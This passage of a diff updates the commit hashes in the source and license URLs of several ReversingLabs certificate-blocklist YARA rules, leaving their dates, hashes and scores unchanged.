-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L6676-L6692"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "49d6fd8b325df4bc688275a09cee35e1040172eb6f3680aa2b6f0f3640c0782e"
 		score = 75
 		quality = 90
@@ -10406,8 +10459,8 @@ rule REVERSINGLABS_Cert_Blocklist_3E267B5D14Cdf1F645C1Ec545Cec3Aee : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L6694-L6710"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L6694-L6710"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "e36ae57d715a71aa7d26dd003d647dfa7ab16d64e5411b6c49831544fc482645"
 		score = 75
 		quality = 90
@@ -10431,8 +10484,8 @@ rule REVERSINGLABS_Cert_Blocklist_Ae6D3C0269Ef6497E14379C51A8507Ba : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L6712-L6730"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L6712-L6730"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "23570962c80bddce28a3dee9d4d864cf3cf64018eec6fbcbdd3ca2658c9f660f"
 		score = 75
 		quality = 90
@@ -10456,8 +10509,8 @@ rule REVERSINGLABS_Cert_Blocklist_Fd8C468Cc1B45C9Cfb41Cbd8C835Cc9E : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L6732-L6750"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L6732-L6750"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "230d33f0d1d31d4cb76bf3b13f109d3cc9ace846daef145e1dc7666b33c8a42a"
 		score = 75
 		quality = 90
@@ -10481,8 +10534,8 @@ rule REVERSINGLABS_Cert_Blocklist_7C061Baa3118327255161F6A7Fa4E21D : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L6752-L6770"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L6752-L6770"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "4193fce69af03b3521a3cc442b762c52f8585b44fa6b0bd78b9ace171b807ed4"
 		score = 75
 		quality = 90
@@ -10506,8 +10559,8 @@ rule REVERSINGLABS_Cert_Blocklist_04332C16724Ffeda5868D22Af56Aea43 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L6772-L6788"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L6772-L6788"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "6b62d5c7a3c6e3096797cd2f515d86045fa77682638bda44175d05c5b6c5bbc0"
 		score = 75
 		quality = 90
@@ -10531,8 +10584,8 @@ rule REVERSINGLABS_Cert_Blocklist_030012F134E64347669F3256C7D050C5 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L6790-L6806"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L6790-L6806"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "1a55856bfa4c632b2b0404686dc7ba5e7238b619dd4d2eb68c3d291bc86e52c4"
 		score = 75
 		quality = 90
@@ -10556,8 +10609,8 @@ rule REVERSINGLABS_Cert_Blocklist_Fa3Dcac19B884B44Ef4F81541184D6B0 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L6808-L6826"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L6808-L6826"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "324de84cb8c2f5402c9326749e3456e11312828df2523954fd84f7fb3298fdf3"
 		score = 75
 		quality = 90
@@ -10581,8 +10634,8 @@ rule REVERSINGLABS_Cert_Blocklist_0E6F4Cb8B06E01C3Bd296Ace3A95F814 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L6828-L6844"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L6828-L6844"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "f3184a9d1fe2a1cf2dcc04d26c284aa9a651d2f00aa28642d7f951550a050138"
 		score = 75
 		quality = 90
@@ -10606,8 +10659,8 @@ rule REVERSINGLABS_Cert_Blocklist_085B70224253486624Fc36Fa658A1E32 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L6846-L6862"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L6846-L6862"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "50ff48a421a109f8c6bf92032691d9b673945bc591005004ff17dc18c97d4aea"
 		score = 75
 		quality = 90
@@ -10631,8 +10684,8 @@ rule REVERSINGLABS_Cert_Blocklist_51Cd5393514F7Ace2B407C3Dbfb09D8D : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L6864-L6880"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L6864-L6880"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "4cd08b9113a7c1f4f2d438ac59ad0be503daded3a08b8c8e8ce3e0dfdddf259e"
 		score = 75
 		quality = 90
@@ -10656,8 +10709,8 @@ rule REVERSINGLABS_Cert_Blocklist_B72179C027B9037Ee220E81Ab18Fe56D : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L6882-L6900"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L6882-L6900"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "1416768011ff824307d112bdeecce1ad50d1f673e92bef8fddbbeb58ff98b1b1"
 		score = 75
 		quality = 90
@@ -10681,8 +10734,8 @@ rule REVERSINGLABS_Cert_Blocklist_07B74C70C4Aa092648B7F0D1A8A3A28F : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L6902-L6918"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L6902-L6918"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "97759fa2e519936115f0493e251f9abc0cce3ada437776a5a370388512235491"
 		score = 75
 		quality = 90
@@ -10706,8 +10759,8 @@ rule REVERSINGLABS_Cert_Blocklist_4C8Def294478B7D59Ee95C61Fae3D965 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L6920-L6936"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L6920-L6936"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "3b7b10afa5f0212bd494ba8fe32bef18f2bbd77c8ab2ad498b9557a0575cc177"
 		score = 75
 		quality = 90
@@ -10731,8 +10784,8 @@ rule REVERSINGLABS_Cert_Blocklist_7D36Cbb64Bc9Add17Ba71737D3Ecceca : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L6938-L6954"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L6938-L6954"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "5874860582ed5be6908dca38e6ecae831eeeb0c2b768e8065ada9fd5ac2bda89"
 		score = 75
 		quality = 90
@@ -10756,8 +10809,8 @@ rule REVERSINGLABS_Cert_Blocklist_Ad255D4Ebefa751F3782587396C08629 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L6956-L6974"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L6956-L6974"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "43f44cbedf37094416628c9df23767be3b036519f93222812597777a146ecb24"
 		score = 75
 		quality = 90
@@ -10781,8 +10834,8 @@ rule REVERSINGLABS_Cert_Blocklist_262Ca7Ae19D688138E75932832B18F9D : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L6976-L6992"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L6976-L6992"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "a5bb946c6199cd47a087ac26f0a996261318d1830191ea7c0e7797ff03984558"
 		score = 75
 		quality = 90
@@ -10806,8 +10859,8 @@ rule REVERSINGLABS_Cert_Blocklist_59A57E8Ba3Dcf2B6F59981Fda14B03 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L6994-L7010"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L6994-L7010"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "6e77c7d0bd7e5e9bc8880cc6ffc3f5f4f738e3dde22c270ad7a6f6672a99de53"
 		score = 75
 		quality = 90
@@ -10831,8 +10884,8 @@ rule REVERSINGLABS_Cert_Blocklist_Aebe117A13B8Bca21685Df48C74F584D : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L7012-L7030"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L7012-L7030"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "e7fbc1f32adec39c94dc046933e152cd6d3946da4a168306484b7b6bc7f26fb6"
 		score = 75
 		quality = 90
@@ -10856,8 +10909,8 @@ rule REVERSINGLABS_Cert_Blocklist_7Dcd19A94535F034Ee36Af4676740633 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L7032-L7048"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L7032-L7048"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "7079d4f1973ad4de21e1f88282c94b11c4d63f8bad12b35ef76a481e154d9da3"
 		score = 75
 		quality = 90
@@ -10881,8 +10934,8 @@ rule REVERSINGLABS_Cert_Blocklist_Ca4822E6905Aa4Fca9E28523F04F14A3 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L7050-L7068"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L7050-L7068"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "9633f3494e9ece3a698d47c5ba2b7ee7f82cee4be36ac418c969c36285c4963c"
 		score = 75
 		quality = 90
@@ -10906,8 +10959,8 @@ rule REVERSINGLABS_Cert_Blocklist_24C1Ef800F275Ab2780280C595De3464 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L7070-L7086"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L7070-L7086"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "7536ec92f388234bea3b33bee4af52e0e0ce9cd86b1c8321a503f70bfe5faa76"
 		score = 75
 		quality = 90
@@ -10931,8 +10984,8 @@ rule REVERSINGLABS_Cert_Blocklist_6401831B46588B9D872B02076C3A7B00 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L7088-L7104"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L7088-L7104"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "cb84b27391fa0260061bc5444039967e83f2134f7b56f9cccf6a421d4a65a577"
 		score = 75
 		quality = 90
@@ -10956,8 +11009,8 @@ rule REVERSINGLABS_Cert_Blocklist_0A01A91Cce63Ede5Eaa3Dac4883Aea05 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L7106-L7122"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L7106-L7122"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "58a26b44e485814fa645bfa490f3442745884026bb7a70327d4f51645ad3f69c"
 		score = 75
 		quality = 90
@@ -10981,8 +11034,8 @@ rule REVERSINGLABS_Cert_Blocklist_54Cd7Ae1C27F1421136Ed25088F4979A : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L7124-L7140"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L7124-L7140"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "c7cd84a225216ff1464a147c2572de2b0a2f69f7a315cdebef5ad2bab843b72a"
 		score = 75
 		quality = 90
@@ -11006,8 +11059,8 @@ rule REVERSINGLABS_Cert_Blocklist_F2D693Aad63E6920782A0027Dfc97D91 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L7142-L7160"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L7142-L7160"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "8f29e65b39608518d16f708faef68db37b6e179c567819dccb6681adcec262e3"
 		score = 75
 		quality = 90
@@ -11031,8 +11084,8 @@ rule REVERSINGLABS_Cert_Blocklist_F8E8F6C92Ba666B0688A8Cacce9Acccf : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L7162-L7180"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L7162-L7180"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "aa419bc044be55d4c94481998be4e9c0310416740084eb8376842cf5416d78bf"
 		score = 75
 		quality = 90
@@ -11056,8 +11109,8 @@ rule REVERSINGLABS_Cert_Blocklist_E3D5089D4B8F01Aadce2731062Fb0Cce : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L7182-L7200"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L7182-L7200"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "7f10b86f156ccac695f480661dfea8bcc455477afd9575230c2f8510327d1996"
 		score = 75
 		quality = 90
@@ -11081,8 +11134,8 @@ rule REVERSINGLABS_Cert_Blocklist_7Ed801843Fa001B8Add52D3A97B25931 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L7202-L7218"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L7202-L7218"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "b7c9424520afe16bd4769e1be84163ac37b8fb37433931f2e362d90cacc01093"
 		score = 75
 		quality = 90
@@ -11106,8 +11159,8 @@ rule REVERSINGLABS_Cert_Blocklist_D9E834182Dec62C654E775E809Ac1D1B : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L7220-L7238"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L7220-L7238"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
